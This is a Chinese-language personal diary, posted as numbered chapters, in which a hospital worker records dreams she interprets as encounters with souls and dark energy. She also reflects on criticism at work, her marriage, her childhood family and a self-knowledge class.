    梦到了一个场景，但是这是现实世界发生过的，梦里面是一个老公的亲戚然后她看着我，她的表情很诡异。笑容很奇怪，然后那个时候明明是白天却在她身上看到了奇怪的能量，她的灵魂的样子很奇怪，我的语言太过于贫瘠，所以没有办法形容她的状态。就看了一眼，我觉得她可能不开心！可是她又在笑。有因必有果，你选择了什么因就会有什么样的果。
    我需要去选择痛苦的那一面，因为选择了痛苦，等那些黑色的能量再来的时候，我就不会被它吞噬侵染。但是又因为选择了这份痛苦，所以我好像变得毫无生机。很矛盾。
    我们的未来是什么？是有什么样的方向呢？

 第517章

    上午挨了批评，不过批评很好，给我的工作指明了方向。以后做事就更清晰。以后挨得批评肯定会更多，因为会有更强大的标准。
    不知道为什么老师会说我看不起她。我说我没有，她说她感觉我说话还有眼神语气就是在讽刺她看不起她。我并没有。
    而且老师老是问我存款，她为什么要问我存款呢？我问她有多少存款，她都没有讲。搞不懂。
    我们医院的优点有哪些？1、医生还好，都在给患者省钱。曾经好多张天天填的让我们头皮发麻的医保单看的到。2、食堂的饭菜很好吃。还有其他单位的工作人员到我们这里吃饭，因为我们医院的饭菜好吃。3、导医很有耐心。4、功能科等候区的凳子更多了，然后所有的诊疗条件都比以前好很多。

 第518章

今天的课。认识你自己。
    神不需要认识自己，因为他们有清晰的自知，兽不需要认识自己，因为它们不自知。而人做的时候是自知的，有的时候是不自知的。所以我们需要认识自己，而已经脱离了诅咒的人已经变成了类似于半神的人，如老子，孔子，庄子，孟子，苏格拉底，歌德等很多名人。
    还是有点子不太明白。啥意思？我是谁？谁是我？突然想到了《侠客行》一个乞儿，他变成了一个一代大侠但是他最后问了这么一个问题，我是谁。但是很多情节都忘了，印象最深的就是他在问我是谁？我呢？我是一个什么样的人？我是否能够清醒的自我认知？能够自我审判？
    我该如何自我认知。

 第519章

    昨日的心情，被讲了很久，因为做的表格不好看，格式不美观。然后被劈头盖脸一顿输出。我的内心，下班了以后就真的像发霉了一样，长蘑菇了。过了好久好久才缓过来。
    昨日之梦，梦里面在做表，做的好好看，各种各样的表格都做的好好看。果然是日有所思夜有所梦。这个星期天多学习。还有一个表，领导说要我交给他。
    然后另一个场景，梦里面是一个很漂亮的人，她在梦里面说：做人她根本不听。然后梦里面问她：做鬼难道就听了吗？后面她就笑了笑，我就醒了。但是之前的内容忘记了。谁要听什么呢？前天的梦境，梦里面是一个比较大一点的明亮的灵魂，她突然跑到了我的地方，然后她过来给了我一些黑色的东西，然后梦里那些黑色的东西又流动出去了。前天妈妈电话给我问我还好吗？我觉得还好。其实我也不知道好在哪里？也不知道不好在哪里？
    我觉得我的小人之学需要学习，需要去做，小人之学就是搞卫生，做饭等各种谋生技能，只有这些学会了才能生活有保障。听了几节课受益匪浅，终于知道自己的问题在哪里？正好可以有方向去改进。还有一个人的课，听了一点点，也感觉受益匪浅。他说我们这个阶段的人其实智商很高，但是心灵很残缺。后面的没有听。我认同！但是这个世界有很多声音需要自己好好分辨。
    你说我好，不能增加我的好，你说我不好，不能增加我的不好。
    其实我的理解是你享受了一份福利，你就得付出一份，不然久掉了人家就会嫌弃你。哪里都是这样子。
    学会谋生再学习让人快乐的东西。

 第520章

    昨日之梦。梦里的我躺在了一个地方，然后梦里的我和我老公在一个池子里洗澡。然后梦里的我是蓝色的，好像在笑，像一个蓝色的鬼魂的感觉，然后笑得很奇怪，然后梦里的老公他变成了白色。后面就是出现了一个村子？不清楚是啥意思。然后就躺在了一个平地。然后静静的观察，发现自己的脑子后面有一团黑色的球，然后不停的让我想起我的娘家，然后梦里面快到娘家了，突然之间又想到了什么？又变成了明亮的灵魂，像淡淡的红色的灵魂一样。想的内容大概是其实人一辈子的伴侣其实是自己。并不是其他人。也不晓得怎么想的？我可能忘记了过程。
    然后就是梦里，老公他在打电话，我也不晓得他在打什么电话？反正梦里的感觉特别的平静，醒来也很平静。
    我的娘家对我很好，我以前上学就算看了天气预报下午会下雨，我都不带伞，然后我放学回家，他们兵分三路给我送伞，结果我和同学一起回家，每次他们都是很生气，然后下次又是给我送伞。对我不好的地方也有，心情不好，就会骂人，这个问题哪个家庭都有，不管是现在的还是过去的还是未来的，我也不确定以后我会不会因为工作压力大，所以会变得骂我的小孩，然后我的小孩会不会将来长大了骂她未来的小孩。有的时候是那种忠言逆耳利于行，有的时候纯粹就是想骂人会更舒服一些。有的时候就是发现你这个小孩子就是在找骂，感觉很欠打。
    以前我没有感觉到小孩子很欠打，后面有了弟弟，弟弟调皮，我打他，后来发现他变得有点子欠揍，后来就很欠揍。我觉得这是我的错误。后面发现了老公的弟弟有一段时间很欠揍，我觉得可能是他发现或者他感觉周围都不是很开心，其实我们都很平静的享受平静，但是他会感觉或者觉得周围是不开心的，所以会表现的好欠揍的样子，吸引人的注意力。我觉得！但是我也不知道是不是这样子，家婆他们的想法就是弟弟他没有上大运，没上大运是这样子。不晓得他们。大运是什么？每个人都有自己的大运吗？
    我好想看生命不息的电影，没有搜到。事实证明，爱情真的只是一件生活里很小的事情，我会不会也和女主一样死了一遍又一遍呢？所以才有明锐的感觉。然后头脑还是简单至极。不晓得。我好想看。
    我看过的外国电影《怦然心动》真的好看，看了好多遍了仍然觉得这是挚爱，小妇人也是，还有一个名字忘记了的电影。
    我的脑回路又回来了，就是突然想起昨晚的感觉，那种感觉就是发现自己脑子里好多劝说自己的声音，很多东西自己并没有想法，但是那种声音一直在脑子里劝你，他们的样子并不好看，也不知道这种灵魂是什么？而且也很疑惑，如果是老公那边的灵魂，他已经得到了我，为什么还要进入我的脑子里劝？
    对我来说，这个婚姻我的感受是什么？我并不好受。我感觉很不开心，老公就像我减肥路上的拦路虎一样，每次我努力锻炼的时候，他就买各种各样的东西诱惑我。还说我菜做的难吃，我真想怼他：做饭我们两个也轮班。看我根本没有办法接受批评。是我和他说的，有什么建议提出来，我以后才会越做越好，但是我根本没有办法心平气和的接受建议。为什么我会这样子。论语说：孔子说颜回最好了，讲了他一遍，他不会犯第二次错误，而且不会迁怒他人。但是我不一样，你讲了我，我当时不生气，我会天天都好生气，然后这个错误我有可能改，也有可能不改，为什么会这样子？难道我是一个很垃圾的人吗？

 第521章

    前日之梦，梦到了一个黑色的男的，然后他在梦里笑，后面他弄了一个电脑无人驾驶，然后载我们去一个地方，梦里面我怀疑我是男的。后面到了什么地方，我不知道是不是掉出来了，周围好多石头。然后后面又走了。
    昨日之梦，梦到了一个村子，反正也挺奇怪的，然后在路上，手上有什么东西掉下去了，然后突然出现了一个蓝色衣服大概五六岁的小孩子，把我手上的东西送回给我了，然后我惊讶了一下他的身手。那东西我也不记得是什么了。很模糊。然后下一个场景，梦见自己在一辆车里然后要拿什么东西，突然身体倒下去了，梦里面好像是一个明星，王子文。翻车了。然后我觉得我可能是最近看了她的一些发型！才会梦见这个。想太多了。
    后面醒了，反正有的内容忘记了。

 第522章

昨日之梦。梦里面是我老公好生气，然后梦里的我就在低声下气的动手干活。反正样子挺卑微的感觉，然后梦里面出现了一个很大的黑色的球。它说我不做家务。搜周公解梦说不做家务说明运气和能力有质的提升。运气很好。
    难道我要做家务了吗？我基本都会洗碗啊！洗碗也是做家务啊！怎么说我不做家务呢？而且我会做饭啊！他们回家了都是我做饭，怎么说我不做家务，洗衣服我自己我也洗了呀！这都是干家务好！搞不懂。
    上班挨骂倒是真的，今天老师教了我一个方法，做好的表先发给主任看，省的他每次看到我的表都挑我的毛病。先让他挑，再发。这个方法学到来。

 第523章

    梦境，梦里面是一个精神空间一样，然后梦里面出现了很多精神丝，说要把我的看病历的天分给拿走，然后梦里面它们在我的世界里拿一种圆圆的发亮的东西。然后梦里精神体一样的我。灵魂很明亮想要去阻止它们缺非常无力，被它们推倒在地。然后梦里的它们在笑，不过最深层次的我并没有很紧张。不知道这是什么灵魂，有可能是医生的。但是以后都还有医保的飞行检查，而且很多数据他们都会一点一点的核对。肯定比我严格多了，按理来说医保的课，我们医院应该全院知晓了，不太可能会有阻止我看病历的精神丝啊。可能我这两天吹风碰到了什么邪气也不一定。
    然后下一个场景，梦到了一个医生，说他电脑上多了一行字，他原本的病历都没有的，说是我的问题。梦里面我和他说，我都看纸质病历的，没有工号，也没有修改你病历的权限。不可能给你多一行字出来。然后梦里面我就醒了。

 第524章

    梦境，梦里面是一团黑色的灵魂，和我说我住的隔壁医院也需要我负责。可是我都不是那里上班的职工，我怎么可能要去负责？然后梦里面出现了一辆车她想和我撞在一起，然后我拐了方向有了。
    后面下一个梦。梦里面是我们医院在搞活动。然后梦到了主任说她叫我帮忙拿紫薯。去她家里，然后我就过去了，然后看到了一个位置的紫薯。梦里面她说她这里有房子的位置，有两个你想不想过来，我没有这个想法，梦里面有一床被子，然后我一直都在走，拖着它去我老公那边，然后我拖不动。然后下一个梦
    梦境面是一个寺庙。那个庙，那个庙我就去拜里面的菩萨，然后那个菩萨它的香火就息灭了，然后梦里我一直在拜其他的，然后整个庙的香火都灭了。后面我住在了一个房间里，然后梦到了好多路，还有一个超级大的自行车，听说是一个发明家发明的，它不用科技就是要人家一起动，效果就是强身健体。然后梦里的天空在修路，修了好多好多路，梦里的人都像灰色的，在车上坐着走。
    然后梦里我也跟着去，发现了好多狗，有的狗好可爱它等着我摸，有的狗好像在吃醋的样子，我以为它也要我摸它，我就去摸它，但是它却在咬我的手，它想吃我的肉。然后我就怕摸狗了，然后一路上走，梦到了一只外国狗，它好大像一辆马车一样，然后我呆呆的看着它，它在旁边停下，然后它变成了一张桌子，里面出来了好几个人。
    然后就是下一个场景，一个女子她好像中国古代的人，她在戴面具，她说妈妈快要撑不住了，你快去扮演什么角色。后面的我没有听清。就看着女子戴上了面具。她存在的整个空间都灰不拉几的。
    后面就是每隔十分钟做一个梦，醒一次忘了，然后又进去梦里面一个白色的男人在聊什么，我不记得了，然后他聊一会儿我就醒一次，又忘了，一直持续了一个多小时，不晓得他在搞什么。

 第525章

    梦境，梦到了几个人说我笨。然后下一个场景就是梦到了小时候出现的一个场景，就是爷爷在叫我往墙上撞，那个场景里他好生气。那个场景在我的梦境里出现过好几次了。但是我不知道是啥意思？可能我的情感隔离是那个时候出现的，我比较希望周围的人可以开心快乐起来，这个愿望也是那个时候出现的？可能！有的时候我感觉我智商很容易被受到周围环境的影响，如果他们都不开心，那我的表现就会特别的奇怪，所以搞得我很想逃跑，一个人，因为感觉这样子的自己过的太难受了，很想让自己过的好一点，但是潜意识很想让别人开心起来的愿望却会让自己的人设时时崩塌。有一个人说过，我只要站着不动，面无表情，她就会以为我这个人很优雅很有气质，但是只要我动了，全崩了。这不知道是不是动如脱兔静若处子的描述。我感觉每个人都是逗比！只是我们和对方混的不够熟，人家也不想和我们混的那么熟，我们才感觉对方很优雅很有气质。
    然后下一个场景，就是一个白色的灵魂一个女子，她在我的梦境里发脾气。啥原因不知道。然后下一个场景就是一个四十岁左右的人，过来检查我们医院。后面又来了几个。然后下一个场景就是一个老人家的灵魂，说他家里面有一个初中没有毕业的妹郎子。按理来说这个意思应该是妹夫的意思！不晓得啥意思，就醒了。